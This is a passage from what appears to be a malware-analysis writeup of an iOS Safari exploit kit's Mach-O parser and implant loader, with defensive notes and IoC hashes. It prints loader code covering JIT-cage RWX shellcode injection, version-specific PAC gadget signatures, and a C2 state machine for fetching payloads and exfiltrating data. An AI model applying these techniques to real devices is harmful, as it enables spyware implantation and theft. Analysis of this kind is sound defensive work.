15,25,50,2147483682,2147483699appearing together in aswitchstatement — the Mach-O load command type values forLC_UUID,LC_SEGMENT_64,LC_BUILD_VERSION,LC_DYLD_CHAINED_FIXUPS,LC_DYLD_EXPORTS_TRIE. - The constant
4277009103(0xFEEDFACF) anywhere in JavaScript source — the 64-bit Mach-O magic. - The LEB128 decode pattern
(127 & r[n]) << o, o += 7followed by128 & r[n++]in ado/whileloop — variable-length integer decoding of Mach-O / DWARF / WASM. - A class with methods named
fo,wo,mo,Eo(or any compact mangled equivalents) over a state object containing segments and sections — the symbol-lookup interface shape. - Pattern-scanning helpers that walk a “segment” object’s
Os(size) field by 4 or 8 byte strides — theDo/Lo/Ro/Uofamily of segment-content searchers. - Network signature: the on-server filename
feeee5ddaf2659ba86423519b13de879f59b326d.jsis a strong IoC. See 08-iocs.md.
A content-inspection proxy that hashes inline JS bodies and matches against known module hashes is the highest-fidelity defense; this module’s hash is stable across captured copies because the code itself doesn’t randomize.
Cross-references
- 01-jit-primitives.md — the read primitive
T.Dn.Pnthis module consumes viaT.Dn.Pn.le,.rr,.re,.dr,.br - 04-ios11-13-legacy.md — defines
class J(exported asT.Dn.Tn, used here asZ) for typed pointer arithmetic - 02-ios17-svg-uaf.md — provides the ASLR slide leak this module’s parser consumes via the
T.Dn.pnglobal - 06-implant-loader.md — the next stage, which uses this module to resolve
dlopen,dlsym,pthread_create, JSC internals, and friends - 10-references.md — Apple’s
dyldsource,<mach-o/loader.h>, and writeups on dyld shared cache structures
Defensive notes
- This module depends on a working WebKit exploit and the JIT primitive layer. Patching any of the underlying WebKit CVEs blocks it from ever running.
- No native CVE applies to this module itself. It is tooling, not an exploit. Mitigations at the platform level (Lockdown Mode, PAC on A12+, process sandboxing) still constrain what the resolved symbols can do — but if an attacker has reached this stage, they already have arbitrary read/write in the Safari process.
- Detection signature: the on-server filename
feeee5ddaf2659ba86423519b13de879f59b326d.jsis a strong IoC. - Research note: the parser ships as a standalone module in lysNguv (
81502427…, 399 lines) and as part of a larger helper bundle in fqMaGkNL (d11d34e4…, 1069 lines). The implant loader files of both variants are bit-equivalent modulo identifier renaming and contain no Mach-O parsing code themselves — they reach the parser indirectly via a method on the env-config module (T.ce()/P.cr()). A careful reader can confirm this by grepping164349160…jsand7f809f32…jsfor__TEXT/LC_SEGMENT_64, finding no hits, and then locating the parser classes in81502427…js(lysNguv) andd11d34e4…js(fqMaGkNL). - Forensic relevance: if a Safari crash report on a victim device contains stack frames involving Mach-O parsing or dyld trie walking initiated from JavaScript, that is a strong indicator of post-exploitation activity from a kit of this family. iVerify and similar telemetry products can flag these traces.
PLASMAGRID Implant Loader
Hashes: 164349160d3d35d83bfdcc001ccd23cd1b3b75d5 (lysNguv) / 7f809f320823063b55f26ba0d29cf197e2e333a8 (fqMaGkNL)
iOS target: iOS 11.0 → 17.x (every chain converges into this module)
Role in chain: Post-exploit synthesis stage. Given a working arbitrary read/write primitive (T.Dn.Pn), a JIT-cage escape gadget (T.Dn.Yn), an RWX allocator (T.Dn.Fn), the Mach-O parser (T.ce()), and the ASLR slide, this module:
- assembles a per-version, PAC-aware ARM64 shellcode template,
- resolves every native symbol the implant will need,
- allocates RWX memory inside the JIT cage,
- writes the patched shellcode and a Mach-O implant blob into it,
- transfers control through a hijacked WebAssembly call gateway, and
- hands a JavaScript-side state machine to the now-running native loader so the implant can fetch its next-stage modules over the network.
Related CVEs:
- CVE-2024-27834 — JavaScriptCore PAC bypass via the JIT cage (the technique reused here to forge signed function pointers on arm64e)
- The underlying entry CVE depends on the chain that produced the read/write primitive: see 02-ios17-svg-uaf.md, 03-ios15-jit-confusion.md, 04-ios11-13-legacy.md.
Source files:
analysis/exploits/lysnguv/clean/164349160d3d35d83bfdcc001ccd23cd1b3b75d5.js(241 lines, ≈131 KB)analysis/exploits/lysnguv/clean/164349_sub_decoded.js(939 lines — the inner support module unpacked from line 3)analysis/exploits/fqmagknl/clean/7f809f320823063b55f26ba0d29cf197e2e333a8.js(241 lines, ≈131 KB — identical logic, renamed identifiers)
A note on depth and on the giant lines
This is the largest and most intricate JavaScript module in the kit. The cleaned file looks deceptively small at 241 lines because three of those lines together account for ~120 KB of base64 payload:
| Line | Length | Content |
|---|---|---|
| 3 | ~37 KB | globalThis.vKTo89.tI4mjA("356d2282…", "<base64 body>") — the entire support submodule (Sg/Zg setup, the WebAssembly call gateway, the JSC butterfly-overwrite gadgets) inlined as base64 so the host runtime can register it under the hash 356d2282845eafd8cf1ee2fbb2025044678d0108 |
| 49 | ~41 KB | The body of function CA(...) — the shellcode patcher. The line ends in a single base64 literal that decodes to 31,308 bytes of raw position-independent ARM64 code — the second-stage native loader (not a Mach-O file). The decoded bytes start with fd 7b bf a9 fd 03 00 91 (stp x29, x30, [sp, #-0x10]! / mov x29, sp, the standard ARM64 function prologue) and embed the symbol-name string table the loader uses to resolve every native function it needs at runtime via dlsym. Embedded blob SHA-256: f3d958350be201eda4bd226537809b68747709ee038263bede953e42bdde0800 (bit-identical between the lysNguv and fqMaGkNL variants). |
| 169 | ~39 KB | The this.YA = gA.Kt(gA.Jt("zwD6AO0A…")) initializer inside class YA’s constructor. gA.Jt decodes the base64 to ~14.9 KB of binary, gA.Kt widens each byte to a UTF-16 code unit so the result can be concatenated with the rest of the descriptor as a JS string. The real binary, after the every-other-byte demarshal, is 14,954 bytes of a 64-bit ARM64 Mach-O dylib (magic cf fa ed fe, cputype 0x0100000c = CPU_TYPE_ARM64) — this is the PLASMAGRID native implant proper, the dylib the line-49 loader maps into the target process. Demarshaled-blob SHA-256: d9bb5cb9da4827af9418a6526a63b5025774074d71ecd893d5843a88b25ab988. Raw (UTF-16-form) base64-decoded blob SHA-256: 99d08243903b744261ecc1c3cbcb3b9b78d9782121780584b1380f53d5628414 (also bit-identical between the two variants). |
When screenshotting or pasting from this file, skip lines 3, 49, and 169. They are opaque data and add no visual value; the interesting JavaScript lives in the ~30 short lines surrounding them.
This page walks the captured code at structural and interface depth — what each construct is, where to look for it, and how the pieces compose into a working implant injector. Conceptual treatment of the underlying techniques (PAC, JIT cage, Mach-O loading, dyld shared cache) is in 05-macho-parser.md#technique-background and the references at the bottom of this file.
Defensive context
- This module is not, by itself, an exploit. It is the post-exploit synthesis stage. Patching any of the underlying WebKit CVEs (see the chain pages) blocks it from ever running.
- Lockdown Mode disables JIT and most of the WebAssembly surface area in Safari, breaking both the JIT-cage escape primitive (
T.Dn.Yn) and the WebAssembly-table call gateway built by the support module. With Lockdown Mode enabled, the chain reaches this module but cannot complete native injection. - The shellcode and Mach-O blobs are bit-identical between the lysNguv and fqMaGkNL variants. Detection rules can hash-match against the embedded base64 strings on lines 49 and 169 with extremely high confidence — these strings are not randomized between captured copies of the kit.
- The on-server filenames are stable IoCs:
2839f4ff4e23733e6ba132e639ce96d36d23c6b6.js(lysNguv) and8835419f53fa3b270c8928d53f012d4c28b29ea4.js(fqMaGkNL). See 08-iocs.md. - Host-based detection: any non-Apple binary that injects into
powerd, or any process registering itself ascom.apple.assistdwithout an Apple code signature, is a high-fidelity alert. iVerify and similar iOS telemetry products can detect both.
Imports and globals (lines 1–7)
let r = {};
globalThis.vKTo89.tI4mjA("356d2282845eafd8cf1ee2fbb2025044678d0108", "<base64>"); // line 3
const T = globalThis.vKTo89.OLdwIx("6b57ca33…"), // env / config / native primitives
K = globalThis.vKTo89.OLdwIx("1ff010bb…"), // typed-pointer arithmetic
{ N: x } = globalThis.vKTo89.OLdwIx("1ff010bb…"),
AA = K.Wt, // 32-bit-uint → 4-char-string packer (used by CA to splat constants)
gA = K, // alias of K
MA = 1002; // error-reporting opcode used by error()
The tI4mjA(hash, body) call on line 3 is the kit’s offline module-registration primitive: it registers the support module 356d2282… under its hash so subsequent OLdwIx("356d2282…") calls return its exports. This inlines the support submodule rather than fetching it over the network. (The Mach-O parser, by contrast, is fetched as a separate module by both variants — see 05-macho-parser.md for the packaging details.) The unpacked content of the line-3 inlined submodule is captured in 164349_sub_decoded.js for analysis.
The three module hashes referenced in this loader are:
6b57ca3347345883898400ea4318af3b9aa1dc5c→ environment / config /T.Dn.{Pn,Yn,Fn,Hn,…}(the global primitive container; defined in the iOS-version-specific exploit chain that ran upstream)1ff010bb3e857e2b0383f1d9a1cf9f54e321fbb0→ typed-pointer arithmetic (K.Vt,K.Wt,K._t,K.Kt,K.Jt,K.Qt)356d2282845eafd8cf1ee2fbb2025044678d0108→ the support submodule registered on line 3 (Sg,Zg,T.Dn.Fn,T.Dn.caller)
class DA — 64-bit integer wrapper (lines 8–46)
DA is a 64-bit integer split into two 32-bit halves (it = low, et = high). It is the third typed-integer wrapper in the kit (alongside K.Vt from the typed-pointer module and class J from 04-ios11-13-legacy.md); it exists here because the patcher CA writes 32-bit halves into the shellcode constant pool one at a time and needs cheap addition/subtraction without going through BigInt.
| Method | Purpose |
|---|---|
static st(A) | Construct from a JavaScript Number (splits across 4 GiB) |
add(A) / sub(A) | 32-bit arithmetic on the low half (does not propagate carry into the high half — the kit only uses small offsets) |
xor(A) | 64-bit XOR |
gA(A) / MA(A) | Construct a new DA at this + A / this − A (different from add because they go through Number, propagating carry) |
DA() | Predicate: is this a “plausibly valid” pointer? (et != 0 or it ∈ (0x1000, 0xC0000000)) |
Et() | Predicate: is this null? |
toString() | "<high> <low>" hex form for debugging |
ct() | Convert back to a JS Number (used to reconstruct the BigInt-equivalent value for downstream consumers) |
The class is intentionally identical in shape to class MA in the fqMaGkNL variant — only the identifiers differ.
function CA(...) — the shellcode patcher (lines 47–50)
function CA(A, g, B, Q, D, M, C, w, I, E, U, N, F, k, T, S, G, R, o, L, Y, V, c) {
var H = "";
return H += AA(335544368), H += AA(335544387), H += AA(A.it), H += AA(A.et),
H += AA(g.it), H += AA(g.et), … H += AA("zwD6AO0A…<41 KB base64>");
}
CA is the shellcode template patcher. It takes 23 positional arguments — every gadget address, every PAC-signed function pointer, every JSC vtable slot, the iOS-version-specific offsets, and the base64 Mach-O implant blob — and concatenates them into a single UTF-16 string that, when interpreted as a stream of 32-bit little-endian words, is the final ARM64 shellcode the loader will write into RWX memory.
Mechanics:
-
AA = K.Wtis a 32-bit-uint → 4-char UTF-16-string packer:AA(0x14000020)returns the 2-character string whose UTF-16 code units encode that integer. TwoAA(x.it); AA(x.et)calls together emit the 8-byte little-endian encoding of a 64-bitDAvalue. -
The first two
AAcalls emit a fixed header(335544368, 335544387)=(0x14000010, 0x14000023)— two ARM64B(unconditional branch) instructions that form the entry trampoline:b #0x40thenb #0x8c. These establish the entry point at offset +4 in the allocated buffer (which is whyyA()later offsets by+4when handing control to the native side). -
The next ~40
AAcalls emit the constants pool: each of the 23 input arguments is splatted as one or two 32-bit words (A.it,A.et,g.it,g.et, …) into fixed slots that the static portion of the shellcode loads with PC-relativeLDRinstructions. The constants pool layout is what the entry trampoline jumps over. -
The final
AA(<base64>)call appends the embedded second-stage ARM64 loader — 31,308 bytes of position-independent ARM64 code (not a Mach-O file; the bytes start with the standard ARM64 function prologuestp x29, x30, [sp, #-0x10]! / mov x29, sp). The C-string table the loader uses for runtime symbol resolution lives in the data section near the end of the blob and is visible in cleartext at the tail of line 49:dlopen, dladdr, dlclose, dlerror, _process, task_info, sys_dcache_flush, sys_icache_invalidate, _dlsym, /usr/lib/system/libdyld.dylib, __TEXT, __LINKEDIT, __dyld_dlsym_internal, __dyld_dlsym, dlsym, mach_eventlink_create, dyldVersionNumber, getpid, proc_pidinfo, vm_region_64, vm_protect, mach_make_memory_entry, vm_map, vm_allocate, kevent_id, __PAGEZERO, __DATA, __eh_frame, __unwind_info, __stubs, __auth_stubs, __objc_stubs, __internal, /usr/lib/libobjc.A.dylib, /usr/lib/system/libcache.dylib, dyld_stub_binder, __objc_empty_vtable, _objc_readClassPair, _pthread_create, /usr/lib/system/libsystem_pthread.dylib, malloc, free, _asl_vlog, _asl_log, /usr/lib/system/libsystem_trace.dylib, _os_log_actual, _os_log_internal, _os_log_default, vasprintf, _NSGetMachExecuteHeader, __oslogstring, %{public}s, /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore, JSEvaluateScript, sigaction, object_getClass, _objc_patch_root_of_class, _objc_map_images, __text, __AUTH_CONST, __const, __DATA_CONST, objc_retainAutorelease, _objc_flush_caches, /usr/lib/libSystem.dylib, _NSGetArgc, _NSGetArgv, _NSGetEnviron, _NSGetPrognameThis string table is the most informative single artifact in the loader: it enumerates every native symbol the second-stage loader binds via
dlsymafter gaining execution, and it leaks the implant’s intent (Objective-C runtime patching, ASL/os_log silencing, JSC re-entry, persistence viapthread_create,vm_protect/mach_make_memory_entryfor memory remapping). The line-49 loader is what maps the line-169 Mach-O implant into the process; the line-169 dylib is what runs the wallet-stealing logic.
CA itself contains no control flow — it is a flat sequence of H += AA(…) statements. That is by design: the patcher must produce byte-identical output for byte-identical input so the same template can be patched once per process and committed atomically.
State-machine constants (line 51)
const IA = 0, wA = 1, QA = 2, BA = 3, NA = 4, EA = 5, TA = 6, UA = 7,
LA = 16777216, // 16 MiB shared buffer between JS and native
kA = 4, // header size (4 bytes — the state slot lives at offset 0, length at offset 1)
sA = LA / 2 - 4, // first half size, minus header
FA = LA / 2, // second half offset
SA = LA / 2; // second half size
The state machine uses an 8-state vocabulary that the JavaScript and native sides share over the 16 MiB buffer:
| Const | Value | State |
|---|---|---|
IA | 0 | idle (native side: nothing to do) |
wA | 1 | JS should download a script (URL waiting in first half of buffer) |
QA | 2 | busy — JS is doing a network operation |
BA | 3 | JS done, result ready (native side may consume) |
NA | 4 | error |
EA | 5 | terminate (native asks JS loop to stop) |
TA | 6 | cleanup hook — JS should rewrite the URL bar to hide the visit |
UA | 7 | JS should POST exfil data (URL in first half, body in second half) |
The 16 MiB size is generous: it leaves room for the implant to stage a complete next-stage payload across the buffer instead of streaming it.
function xA() — JavaScript-side C2 state machine (lines 52–149 area)
xA() is invoked once per injection. It allocates the shared 16 MiB Uint32Array, stretches its butterfly length to the full buffer (so the JS side can read every byte the native side writes), and returns a state-machine object U that owns all of the JavaScript-visible communication helpers.
Butterfly length overwrite (lines 53–55)
const A = new Uint32Array(new ArrayBuffer(LA)),
g = new Uint8Array(A.buffer),
B = new Uint32Array(A.buffer),
Q = T.Dn.Pn, // arbitrary R/W primitive
D = Q.ne(A), // addrof(A)
M = Q.br(D + …Hn.hXqDfP), // read butterfly pointer at version-specific offset
C = new K.Vt(K._(M), K.F(M)), // typed-pointer wrapper
w = Q.ne(A.buffer),
I = Q.br(w + …Hn.QvkVI6); // read ArrayBuffer's underlying storage pointer
let E = Q.rr(I + …Hn.fieNdh); // read length
E += 32; // pad past header
Q.sr(I + …Hn.fieNdh, E); // write back inflated length
The struct-offset names (hXqDfP, QvkVI6, fieNdh) are the kit’s randomized identifiers for the JSC JSObject/JSArrayBufferView field offsets that vary across iOS versions. The actual numeric values live in T.Dn.Hn and are populated by the upstream version-detection logic.
The reason for the +32 bump is alignment slack: by inflating the length past the legitimate end of the buffer by 32 bytes, the kit gives the native side a safe scratch region for storing flags and small structures without colliding with the JS-visible portion.
State-machine object U (the rest of xA())
| Method | Lines (approx) | Role |
|---|---|---|
start() | early | Schedules the first iteration of wA() via setTimeout(U.wA, 1) |
BA(A, g) | helper | Returns a uniformly random integer in [A, g] (used to randomize URL query strings) |
NA() / EA() | helpers | Reset state to BA after a network operation completes / errors |
TA(url, body, ok, err) | network | POST body to url as application/json, with a 10-second timeout, calling ok() or err() |
download(url, ok, err) | network | GET url as an ArrayBuffer with a randomized cache-busting query parameter; up to 20 retries |
UA(A) | runtime | Take a downloaded JS payload A, wrap it in a Blob URL, install a window.qbrdr = b => U.LA(atob(b)) global re-entry hook, and inject it as a <script> element. The qbrdr hook is how the dynamically loaded next stage talks back to the loader. |
kA() | stealth | URL-bar laundering: appends a random v…=0 query param to location.href, drops a near-invisible opacity:0 element with three random numbers, then 10 seconds later removes both. This is anti-forensics — it shifts the page’s history entry so the malicious URL is no longer the visible one. |
wA() | main loop | The poll loop. Reads B[0] (the state slot) and dispatches:• wA (1) → read NUL-terminated URL from offset kA of the buffer, append .js, fix double-extension, call download(url, U.UA, U.error)• UA (7) → read URL from first half and POST body from second half via TA• TA (6) → run kA() URL launderingThe loop reschedules itself with setTimeout 1 ms later until state becomes EA (5). |
LA(A) | runtime | Take a string from the native side (passed back via qbrdr → atob), copy it byte-by-byte into the shared buffer starting at offset 8, set B[1] = length, and transition to state BA. This is how data crosses from JS back to native. |
error() | reporting | Set state to NA, then beacon to a fixed C2 error endpoint stored in T.Dn.Cn with the MA = 1002 error code as a query parameter. |
The state machine’s contract is intentionally minimal: native code requests work by writing a state and an argument into the shared buffer, and JavaScript polls for transitions. This avoids any tight coupling — the native side never has to know about the JavaScript engine at all once the bridge is established.
function yA() — the injection orchestrator (lines 150–165)
function yA() {
const A = xA();
let g;
if (T.Jn()) throw new Error(""); // sanity check (some platform incompatibility)
return g = (() => {
const g = new YA(T.Dn.Sn, T.Dn.Vn, T.Dn.Cn); // descriptor: URLs for next stages
let B = (g.length() + 4096 & 4294963200) >>> 0; // align total size to 4 KiB
const Q = B + 2097152, // add 2 MiB headroom
D = T.Dn.Fn.gg(Q).Ct(); // RWX allocator → base address
g.sA = DA.st(A.CA); // tell descriptor: shared buffer is at A.CA
g.FA(DA.st(D)); // tell descriptor: write base = D
const M = DA.st(D);
let C = g.SA(M); // build the patched shellcode (huge UTF-16 string)
for (; C.length % 16 != 0; ) C += "\0"; // pad to 16-byte boundary
B = 2 * C.length;
const w = window.JqZniF = new Uint32Array(new ArrayBuffer(B));
for (let A = 0; A < B; A += 4) w[A/4] = K.Ht(C, A) >>> 0; // string → uint32 array
const I = K.Vt.ut(D),
E = (K.Vt.ut(T.Dn.Pn.Ar(w)), B);
T.Dn.Fn.Ig(I, w, E); // copy patched bytes into RWX region
const U = g.xA().ct() + 4; // entry point address (+4 = past trampoline)
return T.Dn.caller.rg(K.Vt.ut(U)).Pt(); // jump → execute → return value as JS object
})(), A.start(), g; // start the polling state machine
}
This is the synthesis routine. In order:
A = xA()— build the JavaScript-side state machine and the shared buffer.new YA(T.Dn.Sn, T.Dn.Vn, T.Dn.Cn)— construct the descriptor with the three URLs the implant needs (next-stage script URL, exfil URL, error-beacon URL — these come from upstream kit configuration).B = (g.length() + 4096 & 0xFFFFF000) >>> 0— compute the total size of the descriptor’s string blob, page-aligned.Q = B + 0x200000— add 2 MiB of slack so the implant has room to grow (heap, stack, decoded modules).T.Dn.Fn.gg(Q)— call the RWX allocator from the support submodule (T.Dn.Fnis built bySg(); it owns the JIT-cage RWX page allocator)..Ct()returns the base address.g.sA = DA.st(A.CA)— patch the descriptor to point at the shared buffer’s address (A.CAwas set insidexA()to the addrof’dUint32Array).g.FA(DA.st(D))— tell the descriptor where it will live in memory; this letsSA(M)compute internal pointers correctly.g.SA(M)— the heavy lift. This is the per-injection patcher: it resolves every native symbol, every PAC-signed gadget, and every iOS-version-specific offset, callsCA(...)with all 23 arguments, and returns the final shellcode-plus-strings UTF-16 blob. (Walked in detail in the next section.)for (; C.length % 16 != 0; ) C += "\0"— 16-byte alignment for the ARM64 instruction stream.window.JqZniF = new Uint32Array(...)— the patched bytes are copied into a freshUint32Arrayso the next step can write them. The assignment towindow.JqZniFis intentional: it keeps the array alive for the GC across the next call (and incidentally provides a unique global the operators can poke at from a debugger).T.Dn.Fn.Ig(I, w, E)—Fn.Ig(dest, source, length)is the RWX writer from the support submodule. This uses the JSC butterfly-overwrite gadget (built byZg()’stImethod, see the support submodule) to bypass the JIT cage’s write protection on the destination page. This is the moment the kit escapes the JIT cage.U = g.xA().ct() + 4— entry-point address: descriptor’s stored “execute here” address plus 4 (skipping the firstBinstruction in the trampoline so that PC lands on the second branch which jumps over the constants pool).T.Dn.caller.rg(K.Vt.ut(U)).Pt()— call the native entry point through the WebAssembly call gateway. This is the moment control passes from JavaScript to ARM64. The return value is unwrapped via.Pt()and returned to the caller.A.start()— start the JS polling loop so the implant can request next-stage scripts.
After step 13, native code is running. The native side has full access to the shared buffer (it knows the address from the descriptor) and the JS-side state machine is now its loader proxy.
class YA — the descriptor and per-injection patcher (lines 166–237)
YA packages everything the patched shellcode needs into a single object whose layout the static portion of the shellcode knows. Three things go into a YA instance:
- The pre-baked template shellcode (
this.YA, line 169 — the second giant base64 blob) - String blobs: page URL (
this.KA), user-agent (this.RA), and the C2 URLs passed to the constructor (this.cA,this.GA, plusthis.oAset elsewhere) - The runtime-resolved values (
this.iA= base address,this.sA= shared-buffer address,this.VA= secondary scratch)
Constructor (lines 167–175)
constructor(A, g, B) {
const Q = new DA(0, 0);
this.yA = CA(Q, Q, Q, Q, 0, Q, Q, Q, …); // dummy patch with all-zero args (placeholder)
this.YA = gA.Kt(gA.Jt("zwD6AO0A/gAMAAAAAAAB…")); // base64-decoded shellcode template
let D = document.URL;
for (D += "\0"; D.length % 4 != 0; ) D += "\0"; // NUL-pad URL to 4-byte boundary
let M = navigator.userAgent;
for (this.KA = K._t(D), M += "\0"; M.length % 4 != 0; ) M += "\0";
this.RA = K._t(M);
this.iA = new DA(0, 0); // base address (filled by FA())
this.sA = new DA(0, 0); // shared-buffer address (filled by yA())
this.VA = new DA(0, 0); // scratch
}
Notable details:
this.yA = CA(Q, Q, …)is a baseline call to the patcher with all arguments zero. This is used as a default skeleton when the injection runs without the upstream JIT-cage primitive (T.Dn.zn === falsepath); the resulting blob is structurally valid but has no usable function pointers, so it just serves as a placeholder for the rare fallback path.this.YA = gA.Kt(gA.Jt(...))—gA.Jt(from the typed-pointer module) decodes base64 into a 14,954-byte buffer;gA.Ktwidens each byte into a UTF-16 code unit so the buffer can be concatenated with the rest of the descriptor as a JavaScript string. The 14,954-byte buffer is a 64-bit ARM64 Mach-O dylib (magiccf fa ed fe, cputype0x0100000c) — this is the PLASMAGRID native implant body. The line-49 ARM64 loader (the one CA() emits) is what eventually maps this dylib into the target process at runtime.- The page URL and User-Agent are baked into the descriptor. The native loader uses them as part of its “phone home” first beacon — partly for victim profiling, partly so the C2 can confirm the visit came through a real browser session.
Length and pointer arithmetic (lines 176–188)
length() { return 2 * (this.yA.length + this.YA.length + this.cA.length
+ this.oA.length + this.KA.length + this.RA.length
+ this.GA.length); }
FA(A) { this.iA = A; } // setter for base
OA() { return this.iA; } // base getter
xA() { return this.iA.add(2 * this.YA.length); } // entry-point address
HA() { let A = this.OA(); return A !== null && (A = A.add(this.length())), A; }
length() returns the byte size (not character count) of the concatenated descriptor: every JS string here is UTF-16, so a .length of N characters means 2N bytes in memory. xA() computes the entry-point inside the laid-out blob: it sits after the template shellcode this.YA and before everything else. This matches the patched layout produced by SA() below.
SA(A) — the per-injection patcher (lines 189–235)
This is the heart of the module. It takes the runtime base address A and returns the fully-patched shellcode-plus-strings UTF-16 string. The structure:
Layout (lines 190–195)
const g = this.OA(); // base
let B = g.add(2 * this.YA.length).add(2 * this.yA.length); // start of `oA` in memory
const Q = B.add(2 * this.oA.length), // start of `cA`
D = Q.add(2 * this.cA.length), // start of `KA`
M = D.add(2 * this.KA.length), // start of `RA`
C = M.add(2 * this.RA.length), // start of `GA`
w = C.add(2 * this.GA.length); // end of blob
These addresses become the constants pool entries the static shellcode loads with PC-relative LDR. The layout of the final blob (which is what yA() writes into RWX) is:
[ this.YA ] [ this.yA ] [ this.oA ] [ this.cA ] [ this.KA ] [ this.RA ] [ this.GA ]
template constants field 1 field 2 page URL user-agent field 7
Each region’s runtime address is computed against the base g and packed into the constants pool by the patcher. Strings are referenced from the shellcode through these constants — the shellcode itself contains no string literals.
Local variables (lines 195–197)
let Y = new DA(0,0), V = new DA(0,0), c = new DA(0,0), H = new DA(0,0),
s = new DA(0,0), q = new DA(0,0), x = new DA(0,0), J = new DA(0,0), l = new DA(0,0);
const z = new DA(0 | T.Dn.Ln, 0), // some integer flag from upstream
y = new DA(T.Dn.kn ? 1 : 0, 0); // boolean flag
These are slots that will be filled by the symbol-resolution / gadget-scanning code below. They become arguments to CA() at line 235.
The PAC-aware resolution block (lines 197–233)
The block is gated on T.Dn.caller !== null && T.Dn.zn === true — meaning the upstream chain successfully built a JIT-cage escape primitive and the kit is on arm64e (PAC-enabled). On A11 and earlier, this whole block is skipped and the loader runs with the all-zero placeholder.
Inside the block:
const A = T.Dn.Yn, // JIT-cage / PAC helper
g = T.Dn.Pn, // arbitrary R/W
B = T.ce(), // Mach-O parser instance
Q = B.yo(), // dyld shared cache wrapper
D = B.Io("__TEXT", "__text"), // JSC __text section
M = B.wo("_ZN3JSC16jitOperationListE"), // mangled C++ symbol: JSC::jitOperationList
C = g.ee(M), // dereference the symbol
w = g.rr(C - 4); // count of entries (stored at -4)
The symbol _ZN3JSC16jitOperationListE is the JavaScriptCore JIT operation list — a per-build table mapping operation IDs to function pointers, used by JSC to call out from JIT-compiled code. Its presence and structure are stable across iOS versions, but the specific entries are not, so the kit walks it.
Gadget #1: a known PAC-signed function pointer (lines 198–207)
const I = function(A, B) {
for (let Q = 0; Q < w; Q++) {
const M = g.ee(C + 16 * Q), // entry pointer
w = 8;
if (D.Xe <= M && M <= D.Xe + D.Os - w
&& g.rr(M) === A && g.rr(M + 4) === B)
return g.re(C + 16 * Q + 8); // entry's PAC-signed handler
}
return K.Vt.ut(0);
}(3532202541, 3609136205); // 0xD2A1B7AD, 0xD72A0EAD
if (I.Et()) throw new Error("");
x = new DA(I.it, I.et);
The kit walks the JIT operation list looking for an entry whose target function starts with the two 32-bit magic words 0xD2A1B7AD, 0xD72A0EAD. These bytes correspond to a specific ARM64 instruction sequence at the start of one particular operation handler — picking it by content rather than by name lets the kit find the same function across builds even when the operation list has been reordered. The handler is itself PAC-signed in the operation list, so reading its +8 slot (g.re(...)) yields a legitimately PAC-signed function pointer the kernel will accept. This is the seed value for everything that follows.
The gadget scanner U (lines 208–218)
const E = 18705, // 0x4911 = PAC discriminator constant
U = function(A, B) {
const D = Q.th(A).xo("__TEXT", "__text"),
M = D.Xe + D.Os - 4 * B.length;
for (let A = D.Xe; A <= M; A += 4) {
let Q = !0;
for (let D = 0; D < B.length; D++)
if (g.rr(A + 4 * D) !== B[D]) { Q = !1; break; }
if (Q) return A;
}
return 0;
};
U(libraryPath, opcodeArray) is the byte-pattern scanner. Given a path inside the dyld shared cache and an array of 32-bit ARM64 instructions, it walks the library’s __TEXT/__text section looking for a contiguous match. This is the kit’s substitute for symbolic addressing on functions that don’t have stable names.
The PAC signer wrapper N (lines 219–222)
const N = function(A, g, B) {
const Q = g(gA.Vt.ut(A), gA.Vt.ut(B)); // call the upstream PAC-sign helper
return new DA(Q.it, Q.et);
};
N(addr, signFn, salt) is a thin wrapper that takes a raw addr, signs it with signFn (one of two arm64e PAC-sign primitives exposed by the JIT-cage helper A = T.Dn.Yn), using salt as the discriminator context. The two underlying primitives are:
A.oe— calls a JSC PAC-sign gadget that produces anIA-keyed signed pointerA.sc— produces aDA-keyed signed pointer (the variant used for vtable slots)
iOS-version-gated gadget #2 (lines 223–225)
let F = 0, k = 0;
if (T.Dn.dn >= 170100)
F = U("/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing",
[2852914152, 3533409297, 3609135441]), k = 56416;
else if (T.Dn.dn >= 170000)
F = U("/System/Library/Frameworks/CoreML.framework/CoreML",
[2852914152, 3532692689, 3609135441]), k = 34022;
else if (T.Dn.dn >= 160400)
F = U("/System/Library/Frameworks/CoreML.framework/CoreML",
[2852914152, 3533596081, 3609135441]), k = 62253;
else if (T.Dn.dn >= 160000)
F = U("/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing",
[2852914152, 3532873137, 3609135441]), k = 39661;
else
F = U("/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox",
[2852914152, 3533557265, 3609135441]), k = 61040;
if (0 === F) throw new Error("");
s = N(F, A.oe.bind(A), E);
For each iOS major.minor band, the kit hard-codes:
- A library in the dyld shared cache to scan
- A 3-instruction byte signature to match
- A size offset
kthat will be passed intoCA()separately (the size of some allocation or the offset of a field — the constant pool argument the static shellcode will load withLDR x*, #k)
F is the resolved address; s = N(F, A.oe.bind(A), E) PAC-signs it with discriminator 0x4911.
iOS-version-gated gadget #3 (lines 226–228)
let S = 0;
if (T.Dn.dn >= 170100)
S = U("/System/Library/PrivateFrameworks/PassKitCore.framework/PassKitCore",
[2852848610, 3532419889, 3609135569]), J = new DA(25497, 0);
else if (T.Dn.dn >= 170000)
S = U("/System/Library/PrivateFrameworks/AppleMediaServices.framework/AppleMediaServices",
[2852848610, 3533424241, 3609135569]), J = new DA(56883, 0);
else if (T.Dn.dn >= 160400)
S = U("/System/Library/PrivateFrameworks/SpringBoard.framework/SpringBoard",
[2853110754, 3532863217, 3609135569]), J = new DA(39351, 0);
else if (T.Dn.dn >= 160000)
S = U("/System/Library/Frameworks/CoreML.framework/CoreML",
[2853110754, 1384866669, 1923430861, 2852717550, 3531735921, 3609135505]),
J = new DA(4123, 0);
else
S = U("/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox",
[2853110754, 2852914152, 3533557265, 3609135441]),
J = new DA(61040, 0);
if (0 === S) throw new Error("");
q = N(S, A.oe.bind(A), E);
A second gadget, scanned the same way but in different libraries with different signatures. J carries an additional per-version offset.
JSC vtable resolution (line 228)
Y = N(A.ib.Dt().yt(), A.sc.bind(A), k);
V = N(A.lb.Dt().yt(), A.sc.bind(A), k);
c = N(A.ob.Dt().yt(), A.sc.bind(A), k);
H = N(A.tb.Dt().yt(), A.sc.bind(A), k);
